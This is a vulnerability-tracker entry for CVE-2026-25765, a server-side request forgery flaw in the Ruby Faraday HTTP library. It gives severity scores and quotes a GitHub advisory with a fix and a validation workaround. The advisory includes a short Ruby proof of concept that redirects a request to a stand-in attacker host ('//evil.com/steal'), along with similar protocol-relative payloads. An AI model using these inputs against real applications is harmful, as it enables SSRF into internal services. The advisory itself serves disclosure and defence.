CVE-2026-25765

mediumpriority · track · 0EPSS 0.004 · 34 %ileDEEURUUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.40% (34th) EPSS
CVSS 5.8 · medium
Is it mine?
9 products
Check your exposure
Who says so?
6 sources
cnnvd · enisa_euvd · fstec_bdu · cert_bund

EPSS · scored 2026-10-27

Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. Prior to 2.14.1, Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component. This means that if any application passes user-controlled input to Faraday's get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF). This vulnerability is fixed in 2.14.1.

01

cvss

Technical severity, 0–10. One row per scoring source.

5.8
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.15.8mediumAV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:Nsecondary · FSTEC (BDU) RU
v3.15.8mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:Nsecondary · ENISA EU
v3.15.8mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:Nsecondary · security-advisories@github.comexploitability 3.9 · impact 1.4
v3.15.8mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:Nsecondary · OSV
v3.15.3mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: none · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (9)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • WID-SEC-W-2026-0552Fluentd: Mehrere SchwachstellenDeutsch2026-02-26csaf · cert_bundDE

    Ein Angreifer kann mehrere Schwachstellen in Fluentd ausnutzen, um Dateien und Daten zu manipulieren.

  • GHSA-33mh-2634-fwr2Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url2026-02-09ghsa · osvUS

    ### Impact Faraday's `build_exclusive_url` method (in `lib/faraday/connection.rb`) uses Ruby's `URI#merge` to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. `//evil.com/path`) are treated as network-path references that override the base URL's host/authority component. This means that if any application passes user-controlled input to Faraday's `get()`, `post()`, `build_url()`, or other request methods, an attacker can supply a protocol-relative URL like `//attacker.com/endpoint` to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF). The `./` prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with `/`, so protocol-relative URLs bypass it entirely. **Example:** ```ruby conn = Faraday.new(url: 'https://api.internal.com') conn.get('//evil.com/steal') # Request is sent to https://evil.com/steal instead of api.internal.com ``` ### Patches Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected. ### Workarounds **NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.** Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically: - Reject or strip input that starts with // followed by a non-/ character - Use an allowlist of permitted path prefixes - Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday Example validation: ```ruby def safe_path(user_input) raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]}) user_input end ```

06

also known as (4)

Other names and identifiers for this entity.

07

sources

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08

references (10)

External citations — patches, advisories, analysis.

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